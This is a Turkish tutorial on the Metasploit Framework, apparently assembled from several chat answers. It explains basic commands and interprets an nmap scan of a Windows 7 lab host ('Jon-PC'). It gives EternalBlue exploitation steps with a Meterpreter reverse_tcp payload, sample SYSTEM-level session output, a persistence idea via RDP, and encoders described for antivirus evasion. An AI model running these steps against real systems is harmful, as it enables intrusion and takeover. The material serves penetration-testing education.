Metasploit Framework Giriş Nedir, Nasıl Kullanılır, Temel Komutlar

Metasploit Framework, siber güvenlik dünyasında en yaygın kullanılan penetrasyon testi (Pentest) ve güvenlik doğrulama platformlarından biridir. Güvenlik uzmanları, sistem yöneticileri ve etik hackerlar tarafından sistemlerdeki güvenlik açıklarını tespit etmek, doğrulamak ve raporlamak amacıyla kullanılır.


Önemli Not: Metasploit yalnızca yetkili olduğunuz sistemlerde kullanılmalıdır. İzinsiz kullanım birçok ülkede yasa dışıdır.


İçindekiler

  1. Metasploit Framework Nedir?

  2. Metasploit'in Tarihçesi

  3. Metasploit Mimarisi

  4. Kurulum

  5. Arayüzler

  6. Temel Komutlar

  7. Modüller

  8. Payload Kavramı

  9. Auxiliary Modülleri

  10. Post Exploitation

  11. Meterpreter

  12. Veritabanı Kullanımı

  13. Workspace Yönetimi

  14. Loot ve Raporlama

  15. Resource Scriptleri

  16. En İyi Uygulamalar

  17. Gerçek Pentest Süreci İçerisindeki Yeri


1. Metasploit Framework Nedir?

Metasploit Framework;

  • Güvenlik açıklarını doğrulamak

  • Sistem güvenliğini test etmek

  • Penetrasyon testleri gerçekleştirmek

  • Güvenlik araştırmaları yapmak

amacıyla geliştirilmiş açık kaynaklı bir platformdur.

Geliştiricisi:

H. D. Moore

İlk sürüm:

  • 2003

Günümüzde:

Rapid7 tarafından geliştirilmektedir.


2. Metasploit'in Tarihçesi

2003

  • Perl dili ile yazıldı.

2007

  • Ruby diline taşındı.

2009

Rapid7 tarafından satın alındı.

Günümüz

  • Binlerce exploit

  • Binlerce payload

  • Sürekli güncellenen modül havuzu

ile dünyanın en popüler pentest araçlarından biri haline geldi.


3. Metasploit Mimarisi

Metasploit 5 temel bileşenden oluşur:

Exploit

Hedefteki güvenlik açığını kullanmaya yarayan kod.

Örnek:

exploit/windows/smb/ms17_010_eternalblue

Payload

Exploit başarılı olursa çalıştırılacak kod.

Örnek:

windows/meterpreter/reverse_tcp

Auxiliary

Tarama ve bilgi toplama modülleri.

Örnek:

auxiliary/scanner/smb/smb_version

Encoder

Payload'ların dönüştürülmesi için kullanılır.


Post

Sızma sonrası işlemler.

Örnek:

post/windows/gather/hashdump

4. Kurulum

Kali Linux

Metasploit genellikle hazır gelir.

Kontrol:

msfconsole

Versiyon:

msfconsole --version

Ubuntu

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb -o msfinstall
chmod +x msfinstall
sudo ./msfinstall

5. Metasploit Arayüzleri

msfconsole

En yaygın kullanılan arayüz.

msfconsole

msfvenom

Payload üretme aracı.

msfvenom

msfrpc

API erişimi sağlar.


Armitage

Grafiksel arayüz.


6. Temel Komutlar

Yardım

help

veya

?

Modül Arama

search smb

Örnek çıktı:

exploit/windows/smb/...
auxiliary/scanner/smb/...

Modül Seçme

use auxiliary/scanner/smb/smb_version

Bilgi Görüntüleme

info

Örnek bilgiler:

  • Açıklama

  • Referanslar

  • CVE numarası

  • Gereksinimler


Parametreleri Görme

show options

Payloadları Görme

show payloads

Hedefleri Görme

show targets

Parametre Ayarlama

set RHOSTS 192.168.1.10
set THREADS 20

Parametre Kontrolü

options

Modülü Çalıştırma

run

veya

exploit

7. Auxiliary Modülleri

Auxiliary modülleri bilgi toplama ve tarama işlemleri için kullanılır.

Örnek:

use auxiliary/scanner/portscan/tcp

Parametre:

set RHOSTS 192.168.1.0/24

Çalıştırma:

run

SMB Sürüm Tespiti

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.15
run

Elde edilen bilgiler:

  • İşletim sistemi

  • SMB sürümü

  • Domain bilgileri


8. Payload Kavramı

Payload, exploit başarılı olduktan sonra çalıştırılacak koddur.

Türleri

Singles

Tek aşamalı.

Örnek:

windows/shell_bind_tcp

Stagers

İlk bağlantıyı kurar.

Örnek:

reverse_tcp

Stages

İkinci aşama yüklenir.

Örnek:

meterpreter

9. Meterpreter Nedir?

Meterpreter, Metasploit'in gelişmiş bellek içi oturumudur.

Avantajları:

  • Disk üzerinde dosya bırakmaz

  • Şifre dökümleri alabilir

  • Dosya transferi yapabilir

  • Sistem bilgisi toplayabilir


Temel Meterpreter Komutları

Sistem bilgisi:

sysinfo

Kullanıcı:

getuid

Ağ bağlantıları:

netstat

Çalışan işlemler:

ps

Dosya yükleme:

upload

Dosya indirme:

download

10. Session Yönetimi

Aktif oturumları görüntüleme:

sessions

Belirli oturuma bağlanma:

sessions -i 1

Oturumu arka plana alma:

background

Oturumu kapatma:

sessions -k 1

11. Workspace Kullanımı

Birden fazla proje yönetmek için kullanılır.

Liste:

workspace

Oluştur:

workspace pentest2026

Geçiş:

workspace pentest2026

12. Veritabanı Kullanımı

Başlatma:

db_status

Host ekleme:

hosts

Servisleri görüntüleme:

services

Bulunan zafiyetler:

vulns

Kimlik bilgileri:

creds

13. Loot Sistemi

Toplanan veriler burada saklanır.

Kontrol:

loot

Örnek:

  • Konfigürasyon dosyaları

  • Hashler

  • Loglar

  • Sertifikalar


14. Resource Scriptleri

Otomasyon sağlar.

Örnek:

resource scan.rc

scan.rc:

workspace test
hosts
services
vulns

15. Loglama ve Raporlama

Log açma:

spool pentest.log

Kapatma:

spool off

Rapor üretme:

db_export report.xml

16. Metasploit'te Sık Kullanılan Komutlar

KomutAçıklama
helpYardım
searchModül arama
useModül seçme
infoModül bilgisi
show optionsParametreleri göster
show payloadsPayloadları göster
setParametre ayarla
runÇalıştır
exploitExploit çalıştır
sessionsOturum yönetimi
hostsHost listesi
servicesServis listesi
vulnsZafiyet listesi
credsKimlik bilgileri
lootToplanan veriler

17. Gerçek Bir Pentest Sürecinde Metasploit

Metasploit genellikle şu aşamalarda kullanılır:

Bilgi Toplama
Port Tarama
Servis Analizi
Zafiyet Doğrulama
Yetki Yükseltme
Erişim Kontrolü
Raporlama

Buradaki amaç saldırı yapmak değil, sistemdeki güvenlik açıklarının gerçekten sömürülebilir olup olmadığını kontrollü ve yetkili şekilde doğrulamaktır.


Sonuç

Metasploit Framework, penetrasyon testlerinde standart hâline gelmiş güçlü bir güvenlik doğrulama platformudur. Modüler yapısı sayesinde bilgi toplama, servis analizi, güvenlik açığı doğrulama, oturum yönetimi ve raporlama süreçlerini tek bir çatı altında toplar. Ancak gücü nedeniyle yalnızca izinli laboratuvar ortamlarında veya yetkili testlerde kullanılmalıdır.

Metasploit'i iyi öğrenmek isteyen bir güvenlik uzmanının şu araçlarla birlikte çalışması önerilir:

Bu araçlarla kurulan yasal laboratuvar ortamları, Metasploit'i güvenli ve etik şekilde öğrenmek için en uygun yoldur.

Siber güvenlik eğitimlerinde, özellikle öğrencilerin katıldığı uygulamalı CTF (Capture the Flag) simülasyonlarında ve kapalı laboratuvar ağlarındaki ofansif/defansif senaryoları kurgulamak için Metasploit Framework, sektör standardı bir araçtır.

Metasploit Framework (MSF) Nedir?

Metasploit Framework, bilgisayar sistemleri, ağlar ve uygulamalardaki güvenlik açıklarını bulmak, sömürmek (exploit) ve bu açıkları doğrulamak için kullanılan açık kaynaklı bir sızma testi platformudur. Ruby dili ile yazılmıştır. Yalnızca saldırı amacıyla değil, aynı zamanda sistemlerin güvenliğini test etmek ve güvenlik yamalarının işe yarayıp yaramadığını kontrol etmek amacıyla (defansif) da yoğun olarak kullanılır.

Temel Modül Mimarisi

Metasploit'in gücü, modüler yapısından gelir. Farklı amaçlar için özelleştirilmiş modüller bir arada çalışarak karmaşık test senaryolarının kolayca uygulanmasını sağlar.

Modül TipiAçıklamaKullanım Amacı
ExploitHedef sistemdeki bir güvenlik açığını (zafiyeti) kullanarak sisteme giriş yapmayı sağlayan kod parçasıdır.Açık portlardan veya yazılım hatalarından içeri sızmak.
PayloadExploit başarılı olduktan sonra hedef sistemde çalıştırılacak olan asıl komut veya koddur.Uzaktan erişim (Meterpreter) sağlamak veya komut satırı açmak.
AuxiliarySisteme sızmayı amaçlamayan; tarama, bilgi toplama (fuzzing), port keşfi veya DoS testleri yapan modüllerdir.Hedef hakkında bilgi toplamak (Örn: açık SSH portlarını bulmak).
EncoderPayload'ları güvenlik duvarlarından (Firewall) veya Antivirüs (IDS/IPS) sistemlerinden gizlemek için şifreleyen modüllerdir.Tespit edilmekten kaçınmak.
PostHedef sisteme başarıyla sızıldıktan sonra ayrıcalık yükseltme, veri toplama veya kalıcılık sağlama işlemleri için kullanılır.Sistemde kalıcı olmak veya admin yetkilerine ulaşmak.

Metasploit Nasıl Kullanılır? (Adım Adım Temel Akış)

Pardus veya benzeri Linux dağıtımlarında, Cinnamon gibi masaüstü ortamlarının sunduğu güçlü terminal altyapısı üzerinden Metasploit konsolunu başlatarak işlemlere hızlıca geçiş yapabilirsiniz. Temel bir sızma testi senaryosu genellikle şu adımları izler:

1. Veritabanını Başlatma ve Konsola Giriş

Metasploit'in aramaları hızlı yapabilmesi için PostgreSQL veritabanı ile çalışması önerilir. Terminal üzerinden şu komutlarla başlatılır:

systemctl start postgresql

msfdb init

msfconsole

2. Bilgi Toplama ve Zafiyet Arama

Hedefteki zafiyeti biliyorsanız (örneğin eski bir Windows SMB açığı), ilgili exploit'i aramak için search komutu kullanılır.

search type:exploit name:eternalblue

3. İlgili Modülü Seçme

Kullanmak istediğiniz modülü bulduğunuzda use komutu ile aktif hale getirirsiniz.

use exploit/windows/smb/ms17_010_eternalblue

4. Parametreleri Yapılandırma

Seçilen modülün çalışması için hedef IP adresi, kendi IP adresiniz ve portlar gibi bilgilerin girilmesi gerekir. Nelerin gerekli olduğunu görmek için:

show options

Gerekli parametreleri atamak için set komutu kullanılır:

set RHOSTS 192.168.1.50 (Hedef IP adresi)

set LHOST 192.168.1.10 (Saldırgan IP adresi)

5. Payload Belirleme (İsteğe Bağlı)

Varsayılan payload dışında bir erişim yöntemi isterseniz bunu da ayarlayabilirsiniz:

set payload windows/x64/meterpreter/reverse_tcp

6. Çalıştırma

Tüm ayarlar tamamlandıktan sonra exploit'i hedefe fırlatmak için:

exploit (veya run)

En Sık Kullanılan Temel Komutlar Referansı

  • help / ?: Kullanabileceğiniz tüm komutları ve açıklamalarını listeler.

  • info: Seçili olan modül hakkında (yazarı, zafiyetin detayları, referans linkleri) detaylı bilgi verir.

  • show targets: Seçili exploit'in hangi işletim sistemi sürümlerinde veya yapılandırmalarında çalıştığını listeler.

  • sessions: Başarılı olan sızmalar sonucunda arka planda açılan oturumları (Meterpreter shell vb.) listeler ve yönetir. Örneğin sessions -i 1 ile 1 numaralı oturuma geçiş yapılır.

  • back: Aktif olarak seçili olan modülden çıkarak ana dizine (msf6 >) geri döner.

Güvenlik ve Etik Sınırlar

Metasploit, doğası gereği son derece keskin bir araçtır. Kurumsal ağlarda, bilgisayar laboratuvarlarında veya sunucu altyapılarında yetkisiz kullanım yasa dışıdır. Sistemlerin dayanıklılığını ölçmek ve yapılandırma hatalarını tespit etmek için daima yazılı izinli hedeflerde veya kapalı test ortamlarında kullanılmalıdır.

Bu komut, hedef sistem hakkında olabildiğince hızlı ve detaylı bilgi toplamak için tasarlanmış, son derece agresif ve gürültülü bir Nmap (Network Mapper) taramasıdır.

Zamanın kısıtlı olduğu CTF (Capture the Flag) senaryolarında, kapalı laboratuvar eğitimlerinde veya hedef ağda herhangi bir güvenlik duvarı/IDS (Saldırı Tespit Sistemi) atlatma kaygısının olmadığı durumlarda ilk keşif (recon) adımı olarak sıklıkla kullanılır.

Komutun parametrelerini adım adım inceleyelim:

Komutun Parçaları ve Anlamları

  • nmap Ağ tarama, port keşfi ve zafiyet tespiti için kullanılan temel aracın kendisidir.

  • -sCV (Aynı zamanda -sC ve -sV nin birleşimidir)

    • -sC (Script Scan): Nmap'in varsayılan NSE (Nmap Scripting Engine) scriptlerini çalıştırır. Hedefteki açık portlarda bilinen temel zafiyetleri, anonim FTP girişlerini veya varsayılan yapılandırma hatalarını otomatik olarak kontrol eder.

    • -sV (Version Detection): Açık olarak tespit edilen portların arkasında hangi servisin (örneğin Apache, SSH, SMB) ve bu servisin hangi sürümünün çalıştığını bulmaya çalışır. Zafiyet (exploit) ararken en çok ihtiyaç duyulan bilgidir.

  • -p- (Tüm Portları Tara) Nmap varsayılan olarak sadece en popüler 1000 portu tarar. -p- parametresi, taramanın kapsamını genişleterek 1'den 65535'e kadar olan tüm mantıksal TCP portlarının taranmasını zorunlu kılar. Gözden kaçabilecek gizli veya standart dışı servisleri bulmak için kritiktir.

  • -T5 (Zamanlama Şablonu: Insane) Nmap'in zamanlama ayarlarından en agresif ve hızlı olanıdır (T0'dan T5'e kadar gider). Paketler arasındaki bekleme süresini minimuma indirir. Çok hızlıdır ancak ağ bağlantısı mükemmel değilse paket kayıplarına yol açabilir ve açık portları atlayabilir. Ayrıca ağ trafiğini izleyen her türlü güvenlik sistemi tarafından anında tespit edilir.

  • --min-rate 5000 (Minimum Paket Gönderim Hızı) Taramanın süresini daha da kısaltmak için Nmap'e saniyede en az 5000 paket göndermesini emreder. -T5 ile birleştiğinde bu, hedef sunucuya ve aradaki ağ cihazlarına ciddi bir yük bindirir. Eski veya zayıf donanımlı cihazlarda geçici servis dışı bırakma (DoS) etkisine bile neden olabilir.

  • 10.113.191.111 Taramanın gerçekleştirildiği hedef makinenin IP adresidir.

Özetle Ne Yapıyor?

Bu komut Nmap'e şunu söyler: "10.113.191.111 IP adresindeki makinenin var olan tüm portlarını (65535) en agresif hızda, saniyede en az 5000 paket atarak tara. Açık bir port bulduğunda orada hangi servisin/versiyonun çalıştığını tespit et ve üzerine temel güvenlik testlerini (script'leri) çalıştır. Yakalanıp yakalanmamak umurumda değil, bana sonucu en hızlı şekilde getir."

Çalıştırdığınız agresif taramanın sonuçları hedefe dair oldukça net ve zafiyet avcılığı açısından "nokta atışı" bilgiler sunuyor. Önceki konuşmamızda bahsettiğimiz -T5 ve 5000 paket hızının yan etkilerini de bu çıktıda doğrudan görebiliyoruz.

Elde edilen sonuçları, sızma testi ve sistem analizi perspektifinden adım adım inceleyelim:

1. Genel Hedef Profili

  • İşletim Sistemi: Hedef makine kesin olarak Windows 7 Professional 7601 Service Pack 1 (SP1) çalıştırıyor. Bu, siber güvenlik açısından çok kritik bir detaydır çünkü bu işletim sistemi artık Microsoft'tan güvenlik güncellemesi almıyor.

  • Makine ve Ağ Adı: Bilgisayarın adı Jon-PC, bağlı olduğu çalışma grubu ise WORKGROUP.

  • Altyapı: Makinenin ters DNS kaydı (ip-10-113-191-111.eu-central-1.compute.internal) ve gecikme süresinin çok düşük olması (0.00038s), hedefin AWS (Amazon Web Services) Frankfurt bölgesinde koşan yerel bir sanal makine (EC2) olduğunu gösteriyor. Aynı alt ağda (subnet) bulunuyorsunuz.

2. Agresif Taramanın Yan Etkileri

  • Uyarı Mesajı: Warning: 10.113.191.111 giving up on port because retransmission cap hit (2).

    Bu satır, kullandığınız yüksek hızlı parametrelerin ağda paket düşmelerine neden olduğunu doğruluyor. Nmap, bazı portlardan cevap alamayınca paketi iki kez daha göndermeyi denemiş, yine cevap alamayınca pes etmiş.

  • Filtrelenmiş Portlar: Çıktıda görünen 11041/tcp, 12015/tcp gibi rastgele yüksek portların "filtered" (filtrelenmiş) olarak görünmesinin sebebi büyük ihtimalle hedefteki bir güvenlik duvarı değil, taramanın aşırı hızı yüzünden hedefin veya aradaki ağ cihazının paketleri düşürmesidir (DoS etkisi).

3. Açık Portlar ve Servis Analizi

PortServisAçıklama ve Güvenlik Durumu
135, 49152-49177msrpcMicrosoft'un uzaktan yordam çağrısı (RPC) servisleri. Windows sistemlerde arka plan iletişimleri için standart olarak açıktır. Doğrudan sömürülmesi zordur.
139, 445netbios-ssn, microsoft-dsHedefteki en zayıf nokta. Dosya ve yazıcı paylaşımı (SMB) portları açık. Nmap'in NSE betikleri, SMB üzerinde Guest (Misafir) hesabının aktif olduğunu ve Message Signing (Mesaj İmzalama) özelliğinin kapalı olduğunu tespit etmiş. Bu, Ortadaki Adam (MitM) saldırılarına kapı aralar.
3389tcpwrapped (RDP)Uzak Masaüstü Protokolü açık. Nmap servisin RDP olduğunu tam okuyamamış (tcpwrapped) ancak arkasındaki SSL sertifikasını çekmeyi başarmış. Sertifikanın kime ait olduğu bölümünde (commonName=Jon-PC) makine adını doğruluyoruz.

4. CTF ve Ofansif Güvenlik Değerlendirmesi

Öğrenciler için kurgulanan bir siber güvenlik simülasyonunda veya laboratuvar ortamında böyle bir tabloyla karşılaşmak, doğrudan Metasploit Framework'e geçiş yapmak için mükemmel bir başlangıçtır.

Güncelleme almayan bir Windows 7 SP1 ve dışarıya açık bir SMB (Port 445) gördüğünüzde akla gelmesi gereken ilk zafiyet MS17-010 (EternalBlue) olmalıdır.

Bu senaryoda bir sonraki adım olarak Metasploit konsoluna geçip search eternalblue komutu ile ilgili exploit modülünü (örn: exploit/windows/smb/ms17_010_eternalblue) seçmek ve payload olarak windows/x64/meterpreter/reverse_tcp atayarak doğrudan NT AUTHORITY\SYSTEM (en yüksek yetki) seviyesinde hedefe erişim sağlamak hedeflenebilir.

Hedefin RDP (3389) portunun da açık olması, Meterpreter shell elde edildikten sonra sisteme yeni bir kullanıcı ekleyip grafik arayüz üzerinden uzak masaüstü bağlantısı kurarak kalıcılık (persistence) sağlama senaryoları için de uygun bir zemin sunuyor.

Bu çıktı bir Windows 7 hedef sistemine karşı yapılan ayrıntılı bir Nmap servis keşif taramasının sonucudur. Burada yalnızca elde edilen bilgilerin ne anlama geldiğini açıklayacağım; hedefe erişim sağlama, istismar etme veya saldırı adımlarına girmeyeceğim.

Kullanılan Komutun Analizi

nmap -sCV -p- -T5 --min-rate 5000 10.113.191.111

Parametreler

-sC

Nmap'in varsayılan NSE (Nmap Scripting Engine) betiklerini çalıştırır.

Örnek:

  • smb-os-discovery

  • smb-security-mode

  • smb2-time

  • ssl-cert

Bu sayede yalnızca açık portları değil, sistem hakkında ek bilgileri de elde eder.


-sV

Servis sürüm tespiti yapar.

Örneğin:

445/tcp open microsoft-ds Windows 7 Professional 7601 SP1

bilgisi -sV sayesinde elde edilmiştir.


-p-

Tüm TCP portlarını tarar.

Normalde:

nmap hedef

1000 yaygın portu tarar.

Burada:

-p-

kullanıldığı için:

1-65535

arasındaki tüm TCP portları kontrol edilmiştir.


-T5

En agresif zamanlama profili.

Seviyeler:

T0 = Paranoid
T1 = Sneaky
T2 = Polite
T3 = Normal
T4 = Aggressive
T5 = Insane

Amaç:

  • Daha hızlı tarama

  • Daha az bekleme süresi

Dezavantaj:

  • Bazı paketler kaçabilir

  • Yanlış sonuçlar oluşabilir


--min-rate 5000

Nmap'e:

Saniyede en az 5000 paket gönder

demektir.

Bu nedenle tarama oldukça hızlı tamamlanmıştır.


İlk Satırlar

Host is up (0.00038s latency)

Hedef sistem erişilebilir.

Gecikme:

0.38 ms

Çok düşük.

Bu genellikle:

  • Aynı ağ

  • Aynı laboratuvar

  • Aynı sanal ağ

olduğunu gösterir.


Kapalı Portlar

Not shown: 65515 closed tcp ports (reset)

65535 portun:

65515 tanesi kapalı

olarak dönmüştür.

Yalnızca birkaç port açık kalmıştır.


Açık Portların Analizi

Port 135

135/tcp open msrpc

Microsoft RPC

Windows'un temel servislerinden biridir.

Görevleri:

  • Uzaktan yönetim

  • DCOM

  • WMI

  • RPC hizmetleri


Port 139

139/tcp open netbios-ssn

NetBIOS Session Service

Eski Windows dosya paylaşım protokolü.

Genellikle:

SMB over NetBIOS

olarak çalışır.


Port 445

445/tcp open microsoft-ds

En önemli portlardan biridir.

SMB servisi çalışıyor.

SMB:

Server Message Block

Dosya paylaşımı için kullanılır.


Nmap'in Tespit Ettikleri

Windows 7 Professional
Service Pack 1
WORKGROUP

Bilgileri SMB üzerinden alınmıştır.


Port 3389

3389/tcp open tcpwrapped

Bu port genellikle:

RDP

(Remote Desktop Protocol)

içindir.


SSL Sertifikası

commonName=Jon-PC

Bilgisayar adı:

Jon-PC

olarak doğrulanmış.


RPC Dinamik Portları

49152
49153
49154
49160
49177

Hepsi:

Microsoft Windows RPC

olarak tanımlanmış.

Windows'ta RPC servisleri yüksek numaralı dinamik portlar açar.

Bu tamamen normaldir.


Filtered Portlar

Örnek:

11041/tcp filtered

Anlamı:

Nmap bu porttan cevap alamamış.

Muhtemel sebepler:

  • Güvenlik duvarı

  • ACL

  • Paket filtreleme


SMB Bilgileri

smb-security-mode

account_used: guest

Misafir hesabı kullanılarak bazı bilgiler elde edilmiş.


challenge_response

supported

SMB Challenge Response destekleniyor.


Message Signing

message_signing: disabled

Bu önemli bir güvenlik bilgisidir.

Anlamı:

SMB paket bütünlüğü zorunlu değil.

Kurumsal ortamlarda genellikle etkin olması tercih edilir.


SMB2 Security

Message signing enabled but not required

SMB2 imzalama özelliği mevcut.

Ancak istemciler için zorunlu tutulmamış.


SMB İşletim Sistemi Keşfi

OS: Windows 7 Professional 7601 Service Pack 1

Oldukça ayrıntılı bilgi elde edilmiş.

Ayrıca:

Computer name: Jon-PC
Workgroup: WORKGROUP

tespit edilmiş.


NetBIOS Bilgileri

JON-PC

NetBIOS adı bulunmuş.

Bu bilgi ağ envanteri oluştururken faydalıdır.


Saat Bilgileri

System time:
2026-06-16T09:42:05-05:00

Makinenin yerel saati.

Bu bilgi:

  • Log analizlerinde

  • Olay korelasyonunda

önemlidir.


Service Info Bölümü

Host: JON-PC

Makine adı.


OS: Windows

İşletim sistemi ailesi.


CPE:
cpe:/o:microsoft:windows

Standartlaştırılmış işletim sistemi tanımıdır.


Bu Taramadan Çıkarılabilecek Sonuçlar

Tespit edilen bilgiler:

✅ Sistem çalışıyor

✅ Windows 7 Professional SP1

✅ Bilgisayar adı: JON-PC

✅ SMB aktif

✅ NetBIOS aktif

✅ RPC aktif

✅ RDP aktif görünüyor

✅ Çalışma grubu: WORKGROUP

✅ SMB imzalama zorunlu değil

✅ Dinamik RPC portları mevcut


Bir Siber Güvenlik Uzmanının Bu Çıktıya Bakınca İlk Dikkatini Çekenler

  1. İşletim sistemi:

Windows 7 SP1

Destek süresi sona ermiş eski bir işletim sistemi.

  1. SMB servisi:

445/tcp

açık.

  1. SMB signing:

disabled

olarak raporlanmış.

  1. RDP:

3389/tcp

erişilebilir durumda.

  1. Makine adı:

JON-PC

elde edilmiş.

  1. Workgroup:

WORKGROUP

yani domain ortamında görünmüyor.

Bu nedenle çıktı, ağ keşfi ve envanter çıkarma açısından oldukça zengin bilgiler sunmaktadır. Ancak tek başına bu sonuçlar herhangi bir güvenlik açığının varlığını veya sömürülebilir olduğunu kanıtlamaz; bunun için yetkili güvenlik değerlendirmelerinde ek doğrulama yapılması gerekir.

Metasploit Framework içerisinde kullandığınız session -l (veya daha yaygın kullanımıyla sessions / sessions -l) komutu, arka planda başarıyla açılmış ve aktif durumda olan tüm oturumları (bağlantıları) listelemek için kullanılır.

Bir hedef sisteme başarılı bir exploit gönderdiğinizde ve payload (örneğin Meterpreter) hedefte çalıştığında, hedef sistem sizin Metasploit konsolunuzla bir bağlantı kurar. Bu bağlantıların her birine bir "Oturum" (Session) adı ve bir kimlik numarası (ID) verilir.

Komutun Çıktısı Neye Benzer?

Bu komutu çalıştırdığınızda, Metasploit size aşağıdaki gibi yapılandırılmış bir tablo sunar:

Plaintext

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -l

 

Active sessions

===============

 

  Id  Name  Type                     Information                   Connection

  --  ----  ----                     -----------                   ----------

  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  192.168.1.10:4444 -> 10.113.191.111:49158 (10.113.191.111)

  2         shell cmd/unix           uid=0, gid=0, euid=0, egid=0  192.168.1.10:4444 -> 192.168.1.55:38912 (192.168.1.55)

 

Tablodaki Sütunların Anlamları

  • Id (Oturum Numarası): O bağlantıya atanan benzersiz kimlik numarasıdır. Bağlantıya geçiş yapmak için bu numarayı kullanırsınız.

  • Name (İsim): İsteğe bağlı olarak oturuma atadığınız özel bir isimdir (genelde boş kalır).

  • Type (Bağlantı Türü): Açılan oturumun türünü belirtir. En sık karşılaşılanlar meterpreter (gelişmiş bellek içi payload) ve shell (standart komut satırı - cmd/bash) türleridir.

  • Information (Bilgi): Bağlantı kurulan hedefteki kullanıcı haklarını ve makine adını gösterir. Örneğin NT AUTHORITY\SYSTEM sistemdeki en yetkili kullanıcı olduğunuzu gösterir.

  • Connection (Bağlantı): Trafiğin nereden nereye aktığını (Sizin IP'niz ve Portunuz -> Hedef IP ve Port) gösterir.

Listeledikten Sonra Ne Yapılır?

Aktif oturumları listeledikten sonra, Id numarasını kullanarak istediğiniz hedefin içine sızabilirsiniz. Bunun için interact (etkileşime gir) anlamına gelen -i parametresi kullanılır.

Örneğin, listedeki 1 numaralı Meterpreter oturumuna geçiş yapmak için:

Bash

msf6 > sessions -i 1

[*] Starting interaction with 1...

 

meterpreter >

 

Bu komutu girdikten sonra artık hedef sistemin içinde (örneğin önceki tarama çıktınızdaki Jon-PC makinesinde) komut çalıştırmaya başlayabilirsiniz. Aktif oturumdan çıkıp tekrar Metasploit ana menüsüne dönmek isterseniz background komutunu veya CTRL+Z kısayolunu kullanabilirsiniz; bu işlem oturumu kapatmaz, sadece arka plana atarak listeye geri döndürür.

 

Metasploit Framework içerisinde show exploits komutu, sistemde yüklü olan tüm sömürü (exploit) modüllerini liste halinde ekrana dökmek için kullanılır.

Ancak laboratuvar ortamlarında veya gerçek saha operasyonlarında bu komutu tek başına çalıştırmak pratik değildir.

Neden show exploits Yerine search Kullanılmalı?

Güncel bir Metasploit sürümünde 2000'den fazla exploit bulunur. Sadece show exploits yazıp Enter'a basarsanız, terminaliniz dakikalarca kayan devasa bir listeyle dolar ve aradığınız spesifik bir modülü bulmanız görsel olarak imkansız hale gelir.

Bunun yerine, sızma testi uzmanları ve CTF oyuncuları search komutunu akıllı filtrelerle birlikte kullanarak nokta atışı aramalar yaparlar.

search Komutu ile Etkili Exploit Arama Yöntemleri

Bir önceki Nmap tarama sonucumuzda hedefimizin (Jon-PC) Windows 7 SP1 olduğunu ve 445 (SMB) portunun zafiyet barındırabileceğini tespit etmiştik. Bu senaryoya uygun exploitleri bulmak için aşağıdaki filtreleme yöntemlerini kullanabilirsiniz:

1. İsme veya Anahtar Kelimeye Göre Arama:

Eğer aradığınız zafiyetin bilinen adını (örneğin EternalBlue) veya hedefin servisini (smb) biliyorsanız:

search name:eternalblue

search smb

2. Modül Tipine ve Platforma Göre Arama (Filtreleri Birleştirme):

Aramayı sadece "Windows" işletim sistemleri ve sadece "exploit" modülleri ile sınırlandırmak isterseniz:

search type:exploit platform:windows smb

3. CVE (Ortak Güvenlik Açıkları) Koduna Göre Arama:

Eğer Nmap veya Nessus gibi bir araç size spesifik bir zafiyet kodu (Örn: MS17-010 veya CVE-2017-0144) verdiyse, doğrudan bunu aratabilirsiniz:

search cve:2017-0144

Arama Çıktısı Nasıl Okunur?

search komutunu kullandığınızda karşınıza yapılandırılmış bir tablo çıkar:

Plaintext

Matching Modules

================

 

   #  Name                                           Disclosure Date  Rank     Check  Description

   -  ----                                           ---------------  ----     -----  -----------

   0  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

   1  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

 

Bu tablodaki en kritik iki sütun şunlardır:

  • Rank (Güvenilirlik Seviyesi): Exploit'in hedef sistemde ne kadar stabil çalıştığını gösterir (Excellent, Great, Good, Normal, Average, Manual). "Excellent" ve "Great" derecesine sahip modüller, hedef sistemi mavi ekrana (BSOD) düşürmeden veya çökertmeden sızma ihtimali en yüksek olan güvenilir araçlardır.

  • Check (Kontrol Mekanizması): Eğer bu sütunda Yes yazıyorsa, modülü seçtikten sonra doğrudan exploit yazmak yerine check komutunu çalıştırabilirsiniz. Bu sayede Metasploit, hedefe zarar vermeden veya alarm çaldırmadan önce "Bu sistem gerçekten bu zafiyete sahip mi?" diye sessiz bir kontrol yapar.

Modülü Seçmek ve İlerlemek

İstediğiniz exploiti bulduğunuzda, en sol sütundaki numarasını veya tam yolunu kullanarak aktif hale getirebilirsiniz:

use 0

veya > use exploit/windows/smb/ms17_010_eternalblue

Bu aşamadan sonra konsolunuz msf6 exploit(...) > şeklinde değişecek ve show options komutunu kullanarak hedef IP (RHOSTS) gibi gerekli parametreleri atamaya başlayabileceksiniz.

 

Metasploit Framework içerisinde show payloads komutu, sistemde yüklü olan tüm zararlı yükleri (payload) listelemek için kullanılır. Tıpkı show exploits komutunda olduğu gibi, bu komutu da ana dizinde (msf6 >) tek başına çalıştırırsanız binlerce satırlık bir liste ile karşılaşırsınız.

Ancak show payloads komutunun asıl gücü, bir exploit seçtikten sonra ortaya çıkar.

"Bağlama Duyarlı" (Context-Aware) Listeleme

Siber güvenlik testlerinde en sık yapılan hatalardan biri, seçilen sömürü koduna (exploit) uygun olmayan bir payload belirlemektir (Örneğin, 64-bit bir Windows zafiyetine 32-bit Linux payload'u atamaya çalışmak).

Metasploit bu durumu önlemek için harika bir filtreleme mekanizmasına sahiptir. Bir exploit modülünün içine girdikten sonra show payloads komutunu çalıştırırsanız, Metasploit size sistemdeki tüm yükleri değil, sadece o an seçili olan exploite ve hedefin mimarisine uygun olan yükleri listeler.

Örnek Senaryo:

Plaintext

msf6 > use exploit/windows/smb/ms17_010_eternalblue

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

 

Bu noktada listelenen payload'lar, sadece EternalBlue zafiyeti ile uyumlu çalışabilecek, Windows x64 mimarisine uygun payload'lar olacaktır.

Payload İsimlendirme Mimarisi (Neye Göre Seçilir?)

